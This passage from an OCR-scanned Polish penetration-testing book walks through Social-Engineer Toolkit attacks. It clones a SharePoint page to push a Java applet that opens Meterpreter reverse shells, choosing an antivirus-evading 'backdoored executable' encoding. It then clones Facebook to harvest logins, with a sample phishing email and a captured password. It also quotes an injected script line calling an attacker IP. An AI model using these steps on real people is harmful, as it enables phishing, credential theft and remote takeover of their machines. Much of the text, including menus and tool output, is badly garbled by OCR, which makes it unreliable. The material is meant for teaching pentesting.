Zastosowanie pakietu SET do ataku z klonowaniem Teraz, kiedy już poznałeś przeznaczenie pakietu SET, pokażemy, w jaki sposób możesz uzy skać dostęp do komputera użytkownika za pomocą witryny internetowej, która jest dla niego witryną zaufaną. Choć do przeprowadzenia takiego ataku możesz użyć w zasadzie dowolnej witryny, to jednak zdecydowanie zalecamy użycie czegoś relatywnie prostego. Poniżej przedstawiamy przykład klonowania korporacyjnej strony usługi SharePoint w celu uzyskania dostępu do komputera ofiary poprzez załadowanie m eterpretera (jeden z wyrafi nowanych ładunków pakietu Metasploit Framework). W praktyce może to być oczywiście dowolna inna witryna internetowa, której zabezpieczenia chcesz przełamać. W naszym przy padku wybraliśmy witrynę usługi SharePoint, ponieważ jako pentester będziesz z pewnością chciał użyć takiej witryny, która pozwoli Ci osiągnąć zamierzony cel. Oczywiście zdetermi nowany napastnik może sklonować dowolną, publicznie dostępną witrynę i użyć je j do swoich niecnych celów. LOG IN £
I l .liri.lilM -
f i Pm sw nrri
LO gm
I
R cqislci Furyul vuui u u iw v id ?
Kolejnym krokiem jest uruchomienie programu SET. Aby to zrobić, w menu głównym systemu przejdź do grupy Kali Linux, a następnie wybierz polecenie Exploitation Tools/Social Engineering T oolkit/se-toolkit. Gdy zaakceptujesz wszystkie licencje użytkownika i warunki użytkowania oprogramowania, w oknie terminalu pojawi się główny ekran pakietu S E T (zobacz pierwszy rysunek na następ nej stronie). Przed rozpoczęciem pracy z programem SE T powinieneś wybrać opcję 5) Update the Social Engineer Toolkit, która spowoduje pobranie pakietów i aktualizację programu do najnowszej wersji. Po zakończeniu aktualizacji wybierz opcję 1) Social-Engineering Attacks. W oknie termi nalu pojawi się kolejny ekran, przedstawiony na rysunku poniżej, zawierający listę dostępnych ataków socjotechnicznych. Pierwsza opcja, Spear-Phising Attack Vectors, to popularny rodzaj ata ku, pozwalający na wykorzystanie specjalnie spreparowanych wiadomości poczty elektronicznej i dokumentów PDF, które następnie mogą być wysyłane do ofiary bezpośrednio z poziomu pakietu S E T (zobacz drugi rysunek na następnej stronie).
151
fl
K a li L in u x . T e s ty p e n e tra c y jn e
. M........ bad '7MM.... YMM MMP,, mMM"” YMM ,M I Y MM ' 7 P ' MM '7 *MMb. MM d MM * YMMNq. MMmnWM MM . 'MM MM Y , MM Mb C*1 MM ,M MM p"Ybm m d" . JMMmmmriWMM . jm m l.
|— t— s
The s o c ia l-E n g in e e r T o o lk it (S E T l cre a te d by: David Kennedy (R e L lK )
|(----- ,
v e r s io n :
| | | | | | [—
’— t—
5 .0 .1 0
t—
codename: ’ The w ild w est' Fo llo w us on T w it t e r : Q tru ste d se c Fo llo w me on T w it t e r : fldave_re11k Homepage: h ttp s://w w w .tru sted sec.co m
‘— |— j— .—
w e lco m e t o t h e s o c ia l - E n g i n e e r T o o l k i t (S E T ). T h e one s to p sh op f o r a l l o f y o u r s o c ia l- e n g in e e r in g n ee d s. J o in u s o n i r c . f r e e n o d e . n e t i n
channel # s e to o lk it
Tt»e social-Engineer Toolkit is a product of Trustedsec. visit: https://www.trustedsec.coa S e le c t fr o m t h e m enu:
1) s o c ia l-E n g in e e r in g A tta c k s 2) F a s t -T ra c k P e n e tra tio n T e s tin g 3) T h ir d P a rty Modules
4) 5) 61 7)
u p d a te t h e U p d a te t h e U p d a te SET H e lp , C r e d
M e t a s p l o i t F ra m e w o rk S o c ia l - E n g i n e e r T o o l k i t c o n f ig u r a t io n i t s , and A b o u t
99) E x it th e S o c ia l-E n g in e e r T o o lk it s e t > 1|
--— :— !— r—
■
The s o c ia l- E n g in e e r T o o l k i t ( s e t )
■— *
!— ’
created by: David Kennedy (R e LlK ) v e r s io n : 5.0.10
!— ! ’ - -'
!—
codenam e: 'T h e w i l d w e s t ’ F o llo w us on T w i t t e r : @ tru s te d s e c F o llo w me on T w itte r: <3dave_rellk Homepage: h t t p s :/ /w w w .t r u s te d s e c .c o m
!— '
:— : !— ! :— :
w elcom e t o t h e s o c ia l- E n g in e e r T o o l k i t (S E T ). The one s to p shop f o r a l l o f y o u r s o c ia l - e n g i n e e r in g n e e d s. J o in us on i r c . f r e e n o d e . n e t i n T h e S o c ia l
E n g in e e r T o o l k i t i s
v is it :
channel # s e to o lk it
a p ro d u ct o f T ru s te d s e c .
h t t p s : / / w w w .tr u s t e d s e c .c o w
S e le c t fr o m t h e menu: 1) 2) 3) 4) 5) 6) 7) f i)
9)
s p e a r - P h is h in g A t t a c k v e c to r s w e b s ite A t t a c k v e c to r s i n f e c t i o u s M e d ia G e n e ra to r c r e a t e a P a y lo a d and L is t e n e r Mass M a ile r A t t a c k A rd u in o -B a s e d A t t a c k v e c t o r sms s p o o f in g A t t a c k v e c t o r w ir e l e s s A r r e s s P o in t A r t a r k v e c t o r
QRCode Generator A ttack vector
1 0 ) P o w e rs h e ll A t t a c k v e c to r s 1 1 ) T h ir d P a r t y M o du le s
99)
152
R e tu rn b a c k t o t h e m a in menu.
R o z d z ia ł 4 . • A ta k i na k lie n ty a p lik a c ji in te rn e to w y ch
|
W naszym przykładzie wybierzemy opcję W ebsite Attack Vectors, bo jak pamiętasz, mamy zamiar przeprowadzić atak w oparciu o kopię wybranej witryny internetowej, utworzoną metodą klonowania. Najpierw musimy jednak się zastanowić, w jaki sposób dostarczymy do klienta nasz ładunek. D o wyboru masz kilka różnych opcji. Wybierz opcję Ja v a A pplet A ttack, która zazwyczaj pojawia się jako pierwsza na liście. 1 0 ) P o w e rs h e lI A t t a c k v e c to r s 1 1 ) T h ir d P a r ty M o du le s 9 9 ) R e tu rn b a ck t o th e m a in menu.
The web A t t a c k m odule i s a u n iq u e way o f u t i l i z i n g i n o r d e r t o com prom ise th e in te n d e d v i c t i m .
m u lt ip l e w eb -b a sed a tta c k s
le l a v a A p p le t A t t a c k me m e ta s p lo it base d p a y lo a d , u ses a c u s to m iz e d ja v a a p p le t c r e a te d b y Thomas w e r th t o d e l i v e r t h e p a y lo a d . he M e t a s p lo it Brow ser E x p l o i t me b ro w s e r e x p l o i t s th r o u g h an ifr a m e and d e l i v e r a M e t a s p lo it p a y lo a d . he c r e d e n t i a l H a r v e s t e r me s i t e t h a t has a usernam e and p assw o rd f i e l d i n f o r m a t io n p o s te d t o th e w e b s ite .
and h a r v e s t a l l
th e
ne Tab N ab bing me t a b , th e n r e f r e s h th e page t o s o m e th in g d i f f e r e n t . he Man L e f t i n t h e M id d le A t t a c k me u t i l i z e s h t t p r e f e r e r ' s i n o r d e r t o i n t e r c e p t f i e l d s and n a r v e s t d a ta fro m them . You need t o have an a lr e a d y v u ln e r a b le s i t e and i n c o r p o r a te < s c r i p t s r c = " h t t p :/ /Y O U R lP /" > . T n is c o u ld e it h e r be fr o m a com prom ised s i t e o r th r o u g h x s s . he w e b - la c k in g A t t a c k m ethod was and th e B a c k |T ra c k team . T h is m ethod u t i l i z e s ifr a m e re p la c e m e n ts t o make th e h ig h l ig h t e d URL l i n k t o a pp e a r l e g i t i m a t e how ever when c lic k e d a w indow pops up th e n i s re p la c e d w it h th e m a lic io u s l i n k . You can e d i t th e l i n k re p la c e m e n t s e t t i n g s i n th e s e t _ c o n f ig i f i t s t o o s l o w / f a s t . he M u l t i - A t t a c k me menu. F o r exam ple you can u t i l i z e th e la v a A p p le t , M e t a s p lo it B ro w s e r, c r e d e n t i a l H a r v e s te r/T a b n a b b in g , and th e Man L e f t i n th e M id d le a t t a c k a l l a t once t o see w h ic h i s s u c c e s s f u l. 1) 2) 3) 4) 5) 6) 7)
la v a A p p le t A t t a c k M ethod M e t a s p lo it B ro w se r E x p lo i t M ethod c r e d e n t i a l H a r v e s te r A t t a c k M ethod T a b n a b b in g A t t a c k M ethod web la c k in g A t t a c k M ethod M u lt i- A t t a c k web M ethod c r e a t e o r im p o r t a c o d e s ig n in g c e r t i f i c a t e
9 9 ) R e tu rn t o M a in Menu s e t : w e b a tta c k > H
Program zapyta Cię, czy chcesz użyć jednego z gotowych szablonów dostępnych w pakiecie S E T lub czy chcesz sklonować wybraną witrynę internetową. Domyślne szablony programu nie sprawdzą się w naszym przypadku, więc rekomendowanym rozwiązaniem będzie utwo rzenie kopii witryny metodą klonowania. Na kolejnym ekranie program S E T przedstawi Ci kilka opcji pozwalających na określenie, w jaki sposób ma zostać utworzona kopia witryny internetowej. Jak się już zapewne domyślasz, w na szym przypadku użyjemy mechanizmu klonowania (opcja Site Cloner). Po wybraniu tej opcji program S E T zada Ci szereg pytań, za pomocą których proces klonowania wybranej witryny internetow ej zostanie odpowiednio skonfigurowany i uruchomiony. Site C loner poprosi Cię o podanie następujących informacji:
153
fl
K a li L in u x . T e s ty p e n e tra c y jn e
■
NAT/Port fo rw a rd in g — ta opcja je st często przyczyną nieporozumień. Pamiętaj, że S E T pyta tutaj, czy komputery ofiar będą się łączyły z Twoją maszyną przy użyciu adresu IP skonfigurowanego w systemie Kali Linux, czy też może będą łączyć się z innym adresem IP (takim jak na przykład adresy z usługi NAT). Zagadnienie staje się naprawdę istotne w momencie, kiedy prowadzisz atak na użytkowników znajdujących się poza Twoją siecią lokalną lub w internecie. Jeżeli użytkownicy będący celem ataku znajdują się poza Twoją siecią lokalną, powinieneś wybrać odpowiedź yes, w przeciwnym wypadku powinieneś wybrać odpowiedź no.
■
IP ad dress/hostn am e f o r rev erse conn ection — gdy dostarczymy wybrany ładunek do atakowanego komputera i ładunek ten zostanie uruchomiony, program S E T musi powiadomić ten komputer, w jaki sposób może on ustanowić połączenie zwrotne z systemem Kali Linux. Jeżeli pracujesz w środowisku laboratoryjnym, możesz podać adres swojego serwera systemu Kali Linux.
■
URL you w ant to clon e — tutaj musisz podać adres U R L witryny internetowej, którą chcesz sklonować.
■
E xploit to d eliv er — S E T realizuje dostarczanie exploitów do komputera ofiary za pomocą pakietu Metasploit Framework. Najczęściej wykorzystywaną opcją jest W indow s R everse_T C P M eterpreter. Mechanizm ten rozpoczyna działanie, kiedy ofiara na swoim komputerze uruchomi odpowiednio przygotowany plik wykonywalny, który otwiera wybrany port komunikacyjny, za pomocą którego napastnik ma pełny dostęp do konsoli zaatakowanego komputera. Na rysunku zamieszczonym poniżej przedstawiamy zestawienie dostępnych exploitów; wspomniany W indow s R ev erse_ T C P M eterp reter jest tutaj wymieniony jako opcja numer 2.
what p a y lo a d do you w ant t o g e n e ra te : Nam e:
1 ) windows s h e ll Reverse_TCP o a tta c k e r 2) windows Reverse_TCP M e te rp re te r c k t o a tta c k e r 3 ) Windows Reverse_TCP VNC d l l tt a c k e r 4 ) windows B in d s h e ll re m ote system 5) windows B in d s h e ll X64 6 ; windows S h e ll Reverse_TCP X64 7 ) windows M e te r p r e te r Reverse_TCP X64 e r p r e te r 8) Windows M e te rp re te r A l l P o rts (e v e ry p o r t ) 9) windows M e te rp re te r R everse h ttps e M e te r p r e te r 10) windows M e te r p r e te r R everse DNS wn M e te rp re te r 11) SE T o o lk i t i n t e r a c t iv e s h e ll SET 12) SE T o o lk i t HTTP R everse s h e ll p p o rt 13) r atte h t t p T u n n e lin g P a ylo a d mms o v e r http 14) s h e llc o d e E x e c Alphanum s h e ll code e llc o d e e x e c 15) P y ln je c t o r s h e ll code i n j e c t i o n in j e c t o r 16) M u lt iP y in je c t o r s h e llc o d e i n j e c t i o n memory 1 7 ) im p o rt y o u r own e x e c u ta b le s e t : p a v lo a d s >fl
154
D e s c r ip t io n :
spawn a command s h e ll on v i c t i m
and send back t
spawn a m e te r p r e te r s h e ll on v i c t i m spawn a VNC s e r v e r on v i c t i m
and send ba
and send b ack t o a
E xe cu te p a y lo a d and c r e a te an a c c e p tin g p o r t on windows x64 command s h e l l , B in d TCP i n l i n e windows X64 command s h e l l , R everse TCP i n l i n e co n n e c t back t o th e a tta c k e r (w indow s x 6 4 ) , Met spawn a m e te r p r e te r s h e ll and f i n d a p o r t home Tunnel co m m u n ic a tio n o v e r
http
use a hostname in s te a d o f an
ip
u s in g SSL and us a dd re ss and spa
cu sto m i n t e r a c t iv e re v e rs e t o o l k i t d e s ig n e d f o r P u r e ly n a t iv e HTTP s h e ll w it h AES e n c r y p tio n su s e c u r i t y bypass p a y lo a d t h a t w i l l tu n n e l a l l co T h is w i l l d ro p a m e te r p r e te r p a y lo a d th ro u g h sh T h is w i l l d ro p a m e te r p r e te r p a y lo a d th ro u g h py T h is w i l l d ro p m u lt ip l e M e ta s p lo it p a y lo a d s v i a s p e c if y a p a th f o r y o u r own e x e c u ta b le
R o z d z ia ł 4 . • A ta k i na k lie n ty a p lik a c ji in te rn e to w y ch
|
W razie potrzeby możesz również zaimportować do pakietu SET swój własny plik wykonywalny. Takie rozwiązanie jest najczęściej stosowane przez hakerów i innych użytkowników, którzy piszą swoje wła sne narzędzia lub różnego rodzaju złośliwe oprogramowanie.
Następnie S E T poprosi Cię o wybranie rodzaju mechanizmu chroniącego przeprowadzany atak przed działaniem programów antywirusowych. Co ciekawe, obok nazw poszczególnych mechanizmów S E T wyświetla informacje o ich przewidywanej skuteczności. Jeżeli z takich lub innych powodów nie zależy Ci na jakiejś konkretnej metodzie, powinieneś zawsze wybie rać opcje, których skuteczność została wysoko oceniona (z oceną B E ST lub Excellent). Na kolej nym rysunku przedstawiamy dostępne opcje. W naszym przypadku użyjemy opcji numer 16, ponieważ to właśnie ona została oceniona jako najlepsza (BEST). 3) Windows Reverse_TCP VNC dll tt a c k e r 4 ) Windows B ind s h e ll rem ote system 5) Windows B ind s h e ll X64 6) Windows S h e ll Reverse_TCP X64 7) Windows M e te rp re te r Reverse_TCP X64 e r p r e te r 8) Windows M e te rp re te r A l l P o rts (e v e ry p o r t ) 9) windows M e te rp re te r R everse h ttp s e M e te rp re te r 10) windows M e te rp re te r Reverse DN5 wn M e te rp re te r 11) SE T o o lk i t i n t e r a c t iv e s h e ll SET 12) SE T o o lk i t HTTP Reverse s h e ll p p o rt 13) RATTE HTTP T u n n e lin g Payload mms over HTTP 14) sh e llc o d e E x e c Alphanum s h e llc o d e e llc o d e e x e c 15) P y ln je c to r s h e llc o d e i n j e c t i o n in je c to r 16) M u lt iP y ln je c t o r s h e llc o d e i n j e c t i o n memory 17) im p o rt yo u r own e x e c u ta b le
spawn a VNC s e rv e r on v ic t im and send back t o a Execute p a y lo a d and c re a te an a c c e p tin g p o r t on windows x64 command s h e l l , B in d TCP i n l i n e windows X64 command s h e l l , R everse TCP i n l i n e c o n n e c t back t o th e a tta c k e r (windows x64) , Met spawn a m e te rp re te r s h e ll and f i n d a p o r t home Tunnel com m unication o v e r
http
use a hostname in s te a d o f an
ip
u s in g
ssl
and us
address and spa
custom in t e r a c t iv e re v e rs e t o o l k i t desig n ed f o r " P u re ly n a t iv e HTTP s h e ll w it h AES e n c r y p tio n su s e c u r it y bypass p a ylo a d t h a t w i l l tu n n e l a l l co T h is w i l l d rop a m e te rp re te r p a y lo a d th ro u g h sh T h is w i l l d rop a m e te rp re te r p a y lo a d th ro u g h Py T h is w i l l d rop m u lt ip le M e ta s p lo it p ayloads v ia s p e c ify
a
p a th f o r yo u r own e x e c u ta b le
s e t ; p a vlo a d s>2 s e le c t one o f th e b e lo w , ’ backdoored e x e c u ta b le ’ i s t y p i c a l l y th e b e s t. However, most s t i l l g e t p ic k e d up by AV. You may need t o do a d d itio n a l p a c k in g /c r y p tin g in o rd e r t o g e t around b a s ic a v d e te c tio n . 1) 2) 3) 4) 5) 6) 7) 8) 9) 10) 11) 12) 13) 14) 15) 16)
a v o id _ u tf8 _ to lo w e r (N orm al) s h ik a ta _ g a _ n a i (v e ry Good) alpha _m ixe d (N orm al) a lp h a _up p e r (N orm al) ca !1 4 _dw o rd_xo r (N orm al) countdown (N orm al) fn ste n v_m o v (N orm al) jm p _ c a ll_ a d d it iv e (N orm al) n onalpha (N orm al) nonupper (N orm al) unicode_m ixed (N orm al) u nicode_upper (N orm al) alphaZ (N orm al) No Encoding (None) M u lti-E n c o d e r ( E x c e lle n t) Backdoored E x e c u ta b le (BEST)
s e t : encodi ng> 1 6 j
Teraz S E T poprosi Cię o podanie numeru portu komunikacyjnego, na którym będzie nasłu chiwał nadchodzących połączeń. W większości przypadków powinieneś tutaj pozostawić ustawienia domyślne. Gdy udzielisz odpowiedzi na ostatnie pytanie, S E T rozpocznie proces klonowania witryny.
155
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Nowo utworzony „klon” witryny może zostać wykorzystany do przełamania zabezpieczeń klientów. W tym celu musisz jakoś przekonać użytkowników, aby odwiedzili Twoją spreparo waną kopię rzeczywistej witryny. Kiedy użytkownik włączy swoją przeglądarkę i przejdzie na sklonowaną witrynę, na ekranie pojawi się okno dialogowe z informacją o konieczności urucho mienia zupełnie „niewinnego” apletu Java, który zapewni dostęp do komputera ofiary za pomocą exploita R eserve_T C P M eterpreter. Napastnik może uruchomić sesję m eterpretera i połączyć się z komputerem ofiary na pełnych prawach administratora systemu. Jak już wspominaliśmy, kiedy użytkownik łączy się za pomocą przeglądarki ze spreparowaną witryną, na ekranie pojawia się zupełnie normalnie i niegroźnie wyglądające okno informujące 0 konieczności uruchomienia apletu Java (zobacz rysunek poniżej). W praktyce zdecydowana większość zwykłych użytkowników komputerów nie zwróci na ten komunikat szczególnej uwagi 1 po prostu bez zastanowienia wyrazi zgodę na uruchomienie.
LOG
IN
* *»
Warning - Security
|
T h e a p p lic a tio n 's d ig ita l s ig n a tu re c a n n o t be v e r ifie d . Do you w a n t to run th e a p p lic a tio n ?
L o gin This is a private, compai
Mam e:
Trusted Java Applet (VERIFIED SAFE)
Publisher;
UNKNOWN
From:
http://10.255.27.200
I-
A lw ay' trust o y itm t fe rn f i n p m l w r . Run
r—■ 'j ' - i ' 1 J
This application will run with unrestricted access which may put your personal information at risk. Run this application only if you trust the pu Wisher.
| |
Cancel
|
More Information,,,
Kiedy użytkownik uruchomi przygotowany przez napastnika aplet Java, serwer Kali Linux nawiąże połączenie z komputerem ofiary, jak przedstawiono na kolejnym rysunku. [*] 51
*]
s e n d i n g s ta g e ( 7 5 2 1 2 8 '* ’} s e n d i n g s ta g e ( 7 5 2 1 2 8 *] s e n d in g s t a g e (7 5 2 1 2 8 ;* ] s e n d i n g s ta g e ( 7 5 2 1 2 8 '* ] s e n d i n g s ta g e ( 7 5 2 1 2 8 * ] M e te rp re te r s e s s io n 2
*] M e terp reter s e s s io n 3 opened (1 0 .2 5 5 .2 7 .2 0 0 :4 4 3 - > 1 0 .6 2 .3 .1 3 7 :4 9 4 0 4 ) at 2013-05-04 1 9 :43 :5 4 -0500 *] M e terp reter s e s s io n 4 opened (1 0 .2 5 5 .2 7 .2 0 0 :2 1 - > 1 0 .6 2 .3 .1 3 7 :4 9 4 0 6 ) a t 2013-05-04 1 9 :4 3 :5 4 -0500 *] M e terp reter s e s s io n 5 opened (1 0 .2 5 5 .2 7 .2 0 0 :8 0 8 0 -> s e s s io n 6
Na następnym rysunku pokazujemy, że dzięki pakietowi S E T napastnik może za pomocą sesji meterpretera prowadzić interakcję z systemem ofiary i wykonywać w nim dowolne polecenia.
156
R o z d z ia ł 4 . • A ta k i na k lie n ty a p lik a c ji in te rn e to w y ch
|
msf e x p l o i t ( h a n d le r ) > s e s s io n s - i 1 E*] s t a r t in g in t e r a c t io n w ith 1 __ met er or e t er > ip c o n f i g In t e r f a c e
1
Name Hardware MAC MTU IP v 4 A ddress IP v 4 Netmask
: : : : :
Softw are Loopback In t e r f a c e 1 0 0 :0 0 :0 0 :0 0 :0 0 :0 0 1500 1 2 7 .0 .0 .1 2 5 5 .0 .0 .0
: : : : :
I n t e l ( R ) pro / 1000 MT Network Co n n e ctio n 0 0 :5 0 :5 6 :a 3 :4 5 :e 2 1500 1 0 .6 2 .3 .1 3 7 2 5 5 .2 5 5 .2 5 2 .0
In t e r f a c e 10 Name Hardware MAC MTU IP v 4 A ddress IP v 4 Netmask
m e te rprete r > |
Za pomocą m eterpretera napastnik może nawiązać wiele równoległych sesji z komputerem ofiary. W naszym przypadku użyliśmy polecenia s e s s io n s - I 1 , dzięki któremu mamy pełną interakcję z pierwszą sesją meterpretera. Jeżeli udałoby się nam uzyskać dostęp do wielu hostów, moglibyśmy utworzyć wiele sesji meterpretera i prowadzić niezależną interakcję z po szczególnymi hostami, przełączać się między sesjami bądź zamykać je niezależnie od siebie. Teraz, kiedy dowiedziałeś się co nieco o tym, jak korzystać z pakietu SET, chcielibyśmy przedstawić Ci kolejny przykład. Tym razem sklonujemy wybraną witrynę internetową i po odpowiednim spreparowaniu użyjemy je j do przechwycenia nazw kont i haseł wpisywanych przez użytkowników. Do osiągnięcia naszego celu użyjemy narzędzia, które odgrywa rolę swego rodzaju kombajnu do zbierania haseł. Aby je uruchomić, z menu głównego programu S E T wybierz opcję Social E n gineering Attacks, następnie W ebsite A ttack Vectors i wreszcie C redential H arvester Attacks. compromised s it e or through XSS. The W eb-Jacking A ttack method was introduced by white sheep, Emgent and the Back|Track team. T h is method u t i li z e s ifram e replacements to make the h ig h lig h te d URL l in k to appear le g itim a te however when c lic k e d a window pops up then i s replaced w ith the m alicio u s l in k . You can e d it the l in k replacement s e ttin g s in the s e t c o n f ig i f i t s too slo w /fa st. The H u lti-A tta c k method w il l add a combination of a tta c k s through the web a tta c k menu. For example you can u t i l i z e the Java App let, M etasploit Browser, Cre d en tia l Harvester/Tabnabbing, and the Man L e ft in the Middle attack a l l a t once to see which i s su c ce s sfu l. 1) 2) 3) 4) 5) 6) 7)
Java Applet A ttack Method M etasploit Browser E x p lo it Method C re d en tia l H arvester A ttack Method Tabnabbing A ttack Method web Ja ck in g A ttack Method M u lti-A tta c k web Method Create or import a CodeSigning C e r t if ic a t e
99) Return to Main Menu > e t: w e b a tta c k >3
Podobnie jak poprzednio, możesz zastosować gotowe, predefiniowane szablony witryn inter netowych, utworzyć za pomocą klonowania kopię wybranej witryny lub zaimportować własne pliki witryny (H TM L, grafiki itp.).
157
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Popularne witryny internetowe, takie jak Facebook, Gmail czy Twitter, wykorzystują gotowe szablony stron. Z kolei użycie klonowania (wpisanie adresu URL) może spowodować, że sklono wane zostaną również inne witryny. Spotykaliśmy się z przypadkami, że ani klonowanie, ani uży cie szablonów nie dawało najlepszych rezultatów. W takich sytuacjach powinieneś skorzystać z opcji importowania własnych plików witryny internetowej. Najpierw możesz zastosować dowolne narzędzie kopiujące strukturę witryny internetowej i utworzyć na dysku lokalnym je j kopię (o takich narzędziach już mówiliśmy nieco wcześniej). Po zakończeniu tworzenia kopii możesz użyć opcji 3) Custom Im port i wskazać lokalizację katalogów skopiowanej witry ny. W praktyce najczęściej będziesz musiał po prostu poeksperymentować i samodzielnie przekonać się, która z dostępnych opcji najlepiej sprawdza się w konkretnym przypadku. g e t:webattack>3 The f i r s t method w i ll a llo w SET to import a l i s t of p re -d e fin e d web a p p lic a tio n s that i t can u t i l i z e w ith in the a tta c k . The second method w i ll com pletely clone a w ebsite o f your choosing and a llo w you to u t i l i z e the a tta c k v e cto rs w ith in the com pletely same web a p p lic a tio n you were attem pting to clo n e. The th ir d method a llo w s you to import your own w e b site , note th a t you should on ly have an in d ex.htm l when u sin g the im port w ebsite f u n c t io n a lit y . 1) Web Templates 2) S it e C loner 3) Custom Import 99) Return to Webattack Menu set :webattac:-.>%§
W naszym przykładzie wybraliśmy opcję 2) Site Cloner. Program poprosi Cię o podanie adre su U R L witryny internetowej; w naszym przykładzie będzie to h ttps://w w w .facebook.com .
Zwróć uwagę, że podczas wpisywania adresu URL posługujemy się pełnym formatem adresu, łącznie ze specyfikacją protokołu HTTPS bądź HTTP. W większości przypadków nie będzie to miało żadnego wpły wu na ostateczny efekt, niemniej jednak zdarzają się witryny, których zawartość dla protokołu HTTP jest inna niż dla HTTPS.
Program S E T poprosi Cię również o podanie adresu IP który zostanie użyty do wystawienia fałszywej, spreparowanej wersji skopiowanej witryny. Zazwyczaj będzie to adres IP Twojego komputera z systemem Kali Linux. Jeżeli jednak planujesz przekierowanie ofiar na adres hosta wykorzystującego translację NAT (być może za pośrednictwem zapory sieciowej), to po winieneś w takiej sytuacji wpisać adres serwera NAT Gdy zakończysz klonowanie witryny i konfigurację portów komunikacyjnych, program S E T rozpocznie oczekiwanie na nadchodzące połączenia, jak przedstawiono na rysunku poniżej:
158
R o z d z ia ł 4 . • A ta k i na k lie n ty a p lik a c ji in te rn e to w y ch
|
s e t :webatta •>2 ( - ) C r e d e n t ia l h a r v e s t e r w i l l a llo w you t o u t i l i z e th e c lo n e c a p a b i l i t i e ( - ) to h a r v e s t c r e d e n t i a l s o r p a ra m e te rs from a w e b s ite a s w e ll a s p la c e a repo r t I - ) T h is o p t io n i s used f o r what IP th e s e r v e r w i l l POST t o . ( - ) I f y o u 'r e u s in g an e x t e r n a l I P , u se y o u r e x t e r n a l IP f o r t h i s T a b n a b b in g : 1 0 . 0 . 1 .2 3 5 r e s s f o r th e POST b a ck i n H a r v e s t e r / T ( - ) SE T s u p p o r ts both HTTP and HTTPS ( - ) E xa m p le : h t t p : / / w w w .t h is is a f a k e s it e .c o m k .coffie b a tta c k > E n t e r th e u r l t o c lo n e : h ttp s://w w w /fa c e b o o [* ] C lo n in g th e w e b s it e : h t t p s : / / lo a in .f a c e b o o k .c o m / lo g in .p h p
,.i m s
. x im .
an ratB s
The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website. [*] The Social-Engineer Toolkit Credential Harvester Attack [*] Credential Harvester is running on port 80 [*j Information will be displayed to you as it arrives below:
Następnym krokiem będzie przekonanie użytkowników do skorzystania z naszej fałszywej witryny. Jednym z najczęściej stosowanych sposobów jest rozsyłanie fałszywych wiadomości za pomo cą poczty elektronicznej (ang. phishing em ail). Co ciekawe, program S E T potrafi zautomatyzować dla Ciebie nawet takie zadanie, aczkolwiek w naszym przypadku wybraliśmy ręczne utworzenie odpowiedniej wiadomości. Na kolejnym rysunku przedstawiamy wygląd specjalnie spreparowa nej, fałszywej wiadomości, zawierającej łącze prowadzące do naszej sklonowanej wersji witryny serwisu Facebook. Kiedy użytkownik otworzy taką wiadomość i kliknie łącze w w w .facebook.com , zostanie przeniesiony do naszej fałszywej witryny pod ad resem faceb o ok.secm ob .n et. Faccboofc Ta: Aamir Lsktwń cAaiYiir Laknani iSwwi cont* F ace «x* Security
May 29.2013 4:42 PM Sent Mail
Dear Facebook user.
In an e ffo rt to make you o nline experience safer a nd m ore e njoyable, Facebook w ill be Im plem enting a new login system th a t w ill a ffe ct all Facebook users. These changes w ill o ffe r new features and increased account security.
Before yo u a re able to use the new login system, you w ill be required to u pd ate yo u r account.
Please d ic k on th e link b elo w to update y o u r a ccount o nline n ow w w w .fa cebook ■com P h ttp*://fm bocfc.KCHiob.iKi/
If you have any questions, re fe re n c e o u t New User guide.
Thanks,
The Facebook Team
Facebook w ill never ask yo u fo r y o u r password in an email o r Facebook message. Learn m ore a b o u t h o w to keep y o u r a ccount secure.
159
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Patrząc na następny rysunek, możesz się przekonać, że nasza sklonowana wersja serwisu Facebook wygląda identycznie jak oryginał, z tą tylko różnicą, że to nie jest prawdziwy Facebook. Filozofia ataku zakłada, że ofiara nie zauważy nieco innego adresu U R L witryny, co jest zresztą jednym z powodów, dla których w tego typu atakach napastnicy starają się używać adresów z domen jak najbardziej zbliżonych do oryginału.
Kiedy niczego nieświadoma ofiara wpisze swoje dane w fałszywej witrynie, S E T przekieruje przeglądarkę użytkownika do prawdziwej witryny internetowej. W większości przypadków użytkownik po prostu bez zastanowienia kolejny raz wpisze swoje hasło i tym razem pomyśl nie zaloguje się do prawdziwej witryny, nie zdając sobie nawet sprawy z tego, że został zaata kowany i że jego hasło zostało przechwycone. Na kolejnym rysunku możesz zobaczyć, jak program S E T informuje o przechwyceniu hasła użytkownika:
[*] WE GOT A HIT! Printing the output: PARAM: UserName-Ladi POSSIBLE PASSWORD FIELD FOUND: UserPassword=I1oveToDanee PARAM: target=%2f PARAM: Log+On.x=59 PARAM: Log+On.y=10 [*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT. Oprócz wyświetlanego na bieżąco dziennika zdarzeń S E T może również wygenerować szcze gółowy raport o zdarzeniu, który napastnik może wykorzystać później.
160
R o z d z ia ł 4 . • A ta k i na k lie n ty a p lik a c ji in te rn e to w y ch
|
T h e S o c ia l-E n g in e e r T o o lk it (SET) R e p o rt G e n e ra to r________________________________ SscM-Cnglmr Toolkit (SET) report on UKL=hltp:itynmxdw.torri
Report generated by the Social-Engineer Toolkit
_
welcome to the Social-Engineer Toolkit Report Generation Tool. This report should contain information obtained during a successful phishing attack and provide you with the website and all of the parameters that were harvested. Please remember that SET is open-source, free, and available to the information security community. Use this tool fo r good, not evil.
Każdy pentester planujący wykorzystywanie narzędzi takich jak S E T do przeprowadzania ataków socjotechnicznych powinien dobrze rozumieć działanie klientów. Jedną z najefektywniej szych metod osiągnięcia takiego celu jest zastosowanie serwera proxy do przechwytywania i analizowania żądań sieciowych przesyłanych między klientami a serwerem. W rozdziale 6., „Ataki na aplikacje internetowe i serwery W W W ”, znacznie bardziej zagłębi my się w zagadnienia związane z wykorzystywaniem serwerów proxy; nie zmienia to jednak w niczym faktu, że zrozumienie zachowania klientów podczas przeprowadzania ataków przy użyciu pakietów takich jak S E T jest sprawą niezmiernie ważną.
